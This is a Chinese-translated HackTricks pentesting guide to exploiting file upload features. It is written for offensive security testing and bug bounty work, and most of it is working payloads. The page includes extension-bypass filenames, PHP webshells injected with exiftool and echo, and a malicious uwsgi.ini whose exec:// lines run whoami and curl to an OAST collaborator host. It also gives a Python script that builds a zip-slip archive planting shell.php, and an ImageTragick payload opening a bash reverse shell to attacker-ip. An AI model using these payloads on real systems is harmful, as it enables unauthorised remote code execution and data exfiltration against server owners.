hacktricks/pentesting-web/file-upload
2023-08-03 19:12:22 +00:00
..
pdf-upload-xxe-and-cors-bypass.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated to Chinese 2023-08-03 19:12:22 +00:00

文件上传

☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

赏金漏洞提示注册 Intigriti一个由黑客创建的高级 赏金漏洞平台!立即加入我们:https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

文件上传通用方法

其他有用的扩展名:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • 在 PHPv8 中工作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

绕过文件扩展名检查

  1. 如果适用,检查之前的扩展名。也尝试使用一些大写字母进行测试:pHp, .pHP5, .PhAr ...
  2. 尝试在执行扩展名之前添加一个有效的扩展名(也使用之前的扩展名):
  • file.png.php
  • file.png.Php5
  1. 尝试在末尾添加特殊字符。可以使用 Burp 来暴力破解所有ASCIIUnicode字符。(注意,你也可以尝试使用之前提到的扩展名
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. 尝试使用技巧来绕过服务器端的扩展名解析器,比如重复扩展名或在扩展名之间添加垃圾数据(空字节)。你也可以使用之前的扩展名来准备更好的有效负载。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 在之前的检查中添加另一层扩展名
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 尝试将执行扩展名放在有效扩展名之前,并祈祷服务器配置错误。(用于利用 Apache 配置错误,其中以**.php**结尾的任何文件都会执行代码,但不一定以 .php 结尾):
  • 例如file.php.png
  1. Windows 中使用 NTFS 备用数据流 (ADS)。在这种情况下,会在禁止的扩展名之后和允许的扩展名之前插入一个冒号字符 ":"。结果是,在服务器上创建一个带有禁止的扩展名的空文件(例如 "file.asax:.jpg")。稍后可以使用其他技术(如使用其短文件名)对该文件进行编辑。还可以使用 "::$data" 模式创建非空文件。因此,在此模式之后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")。
  2. 尝试突破文件名限制。有效扩展名被截断,恶意 PHP 代码被保留。AAA<--SNIP-->AAA.php
# Linux 最大 255 字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 减去 4 并添加 .png
# 上传文件并检查响应,看允许多少个字符。假设为 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# 生成有效载荷
AAA<--SNIP 232 A-->AAA.php.png

绕过 Content-Type、Magic Number、压缩和调整大小

  • 通过将 Content-Type 头的值设置为 image/pngtext/plainapplication/octet-stream 来绕过 Content-Type 检查。
  1. Content-Type 字典:https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • 通过在文件开头添加真实图像的字节(混淆 file 命令)或在元数据中引入 shell 来绕过魔术数字检查:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    或者你也可以直接在图像中引入有效载荷
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 如果正在向图像添加压缩,例如使用一些标准的 PHP 库(如 PHP-GD),则前面的技术将无效。然而,你可以使用 PLTE 块 在此处定义的技术 插入一些文本,以便在压缩后仍然存在。
  • 包含代码的 Github
  • 网页还可以使用 PHP-GD 函数 imagecopyresizedimagecopyresampled 调整图像大小。然而,你可以使用 IDAT 块 在此处定义的技术 插入一些文本,以便在压缩后仍然存在。
  • 包含代码的 Github
  • 另一种在调整图像大小时生成有效载荷的技术是使用 PHP-GD 函数 thumbnailImage。然而,你可以使用 tEXt 块 在此处定义的技术 插入一些文本,以便在压缩后仍然存在。
  • 包含代码的 Github

其他检查技巧

  • 查找重命名已上传文件的漏洞(更改扩展名)。
  • 查找本地文件包含漏洞以执行后门。
  • 可能的信息泄露
  1. 多次(并且同时)上传相同的文件相同的名称
  2. 上传一个已存在的文件文件夹名称
  3. 上传一个文件,其名称为**“.”、“..”或“…”**。例如,在 Windows 的 Apache 中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
  4. 在 NTFS 中上传一个不易删除的文件,例如**“…:.jpg”**Windows
  5. 在 Windows 中上传一个带有无效字符(如 |<>*?”的文件名Windows
  6. 在 Windows 中上传一个使用保留(禁止)名称(如 CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8 和 LPT9的文件。

特殊扩展名技巧

如果你正在尝试将文件上传到 PHP 服务器请查看通过 .htaccess 技巧执行代码
如果你正在尝试将文件上传到 ASP 服务器请查看通过 .config 技巧执行代码

.phar 文件类似于 Java 的 .jar 文件,但用于 PHP并且可以像执行 PHP 文件一样使用它(使用 PHP 执行它,或在脚本中包含它...)。

.inc 扩展名有时用于仅用于导入文件的 PHP 文件,因此在某些情况下,某人可能已允许执行此扩展名。

Jetty RCE

如果你可以将 XML 文件上传到 Jetty 服务器,你可以获得 RCE因为 新的 *.xml 和 *.war 文件会自动处理 因此,如下图所示,将 XML 文件上传到 $JETTY_BASE/webapps/ 并等待 shell

uWSGI RCE

如果你可以替换 uWSGI 服务器的 .ini 配置文件,你可以获得 RCE 实际上uWSGI 配置文件可以包含使用精确语法定义的“魔术”变量、占位符和运算符。特别是 '@' 运算符以 @(filename) 的形式用于包含文件的内容。支持许多 uWSGI 方案包括“exec” - 用于从进程的标准输出中读取。当解析 .ini 配置文件时,这些运算符可以被用于远程命令执行或任意文件写入/读取:

恶意 uwsgi.ini 文件示例:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

当解析配置文件时,将执行负载。请注意,要解析配置文件,需要重新启动进程(崩溃?拒绝服务攻击?)或自动重新加载文件(如果发现更改,则可以使用选项指示重新加载文件的秒数)。

重要提示uWSGI对配置文件的解析是宽松的。先前的负载可以嵌入在二进制文件例如图像、PDF等中。

wget文件上传/SSRF技巧

在某些情况下,您可能会发现服务器正在使用wget来下载文件并且您可以指定URL。在这些情况下代码可能会检查下载文件的扩展名是否在白名单中以确保只有允许下载的文件。然而这个检查可以被绕过。

在Linux中文件名的最大长度为255个字符然而wget将文件名截断为236个字符。您可以下载一个名为"A"*232+".php"+".gif"的文件,这个文件名将绕过检查(在这个例子中,".gif"是一个有效的扩展名),但是wget将把文件重命名为"A"*232+".php"。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

请注意,您可能正在考虑的另一种选择是绕过此检查,使HTTP服务器重定向到其他文件因此初始URL将绕过检查然后wget将使用新名称下载重定向的文件。这不起作用除非使用参数--trust-server-names来使用wget因为wget将使用原始URL中指定的文件名下载重定向的页面

其他资源

工具

  • Upload Bypass是一个强大的工具旨在帮助渗透测试人员和漏洞猎人测试文件上传机制。它利用各种漏洞赏金技术简化了识别和利用漏洞的过程确保对Web应用程序进行全面评估。

从文件上传到其他漏洞

以下是您可以通过上传实现的前10项事项来自链接

  1. ASP / ASPX / PHP5 / PHP / PHP3Webshell / RCE
  2. SVG存储的XSS / SSRF / XXE
  3. GIF存储的XSS / SSRF
  4. CSVCSV注入
  5. XMLXXE
  6. AVILFI / SSRF
  7. HTML / JSHTML注入 / XSS / 开放重定向
  8. PNG / JPEG像素洪水攻击DoS
  9. ZIP通过LFI实现RCE / DoS
  10. PDF / PPTXSSRF / BLIND XXE

Burp扩展

{% embed url="https://github.com/portswigger/upload-scanner" %}

魔术头字节

  • PNG"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG"\xff\xd8\xff"

有关其他文件类型,请参考https://en.wikipedia.org/wiki/List_of_file_signatures

自动解压缩的Zip/Tar文件上传

如果您可以上传将在服务器内部解压缩的ZIP文件您可以执行以下两个操作

符号链接

上传包含指向其他文件的符号链接的链接,然后访问解压缩的文件,您将访问链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

在不同的文件夹中解压缩

解压缩的文件将会被创建在意料之外的文件夹中。

有人可能会认为这种设置可以防止通过恶意文件上传进行操作系统级别的命令执行但不幸的是这是不正确的。由于ZIP存档格式支持分层压缩并且我们还可以引用更高级别的目录因此我们可以通过滥用目标应用程序的解压缩功能来逃离安全上传目录。

可以在这里找到一个自动化利用程序来创建这种类型的文件:https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

您还可以使用symlink trick with evilarc,如果标志位于/flag.txt中,请确保创建一个指向该文件的符号链接并在您的系统中创建该文件这样当您调用evilarc时就不会出错。

一些创建恶意zip文件的Python代码

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

为了实现远程命令执行,我采取了以下步骤:

  1. 创建一个PHP shell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. 使用“文件喷洒”技术创建一个压缩的zip文件
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. 使用十六进制编辑器或vi将“xxA”更改为“../”我使用了vi
:set modifiable
:%s/xxA/..\//g
:x!

只剩下一步了上传ZIP文件并让应用程序解压缩它如果成功并且Web服务器具有足够的权限来写入目录系统上将会有一个简单的操作系统命令执行shell

b1

参考: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

将此内容以图像扩展名上传以利用此漏洞 (ImageMagick, 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

将PHP Shell嵌入PNG图像

将Web Shell放在IDAT块中的主要原因是它可以绕过调整大小和重新采样操作 - PHP-GD包含两个函数来实现这一点imagecopyresizedimagecopyresampled

阅读此文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

多语言文件

在安全环境中,多语言文件是指可以作为多种不同文件类型的有效形式的文件。例如,GIFAR既是GIF文件又是RAR文件。还有一些文件可以同时是GIF和JSPPT和JS等。

多语言文件通常用于绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件例如JPEG、GIF、DOC以防止用户上传可能危险的文件如JS文件、PHP文件或Phar文件。

这有助于上传符合多种不同格式的文件。它可以允许您上传一个同时看起来像JPEG和PHAR文件PHp ARchive的文件但可能仍然需要一个有效的扩展名如果上传函数不允许它这将对您没有帮助。

更多信息请参见:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


Bug赏金提示注册Intigriti一个由黑客创建的高级Bug赏金平台!立即加入我们:https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥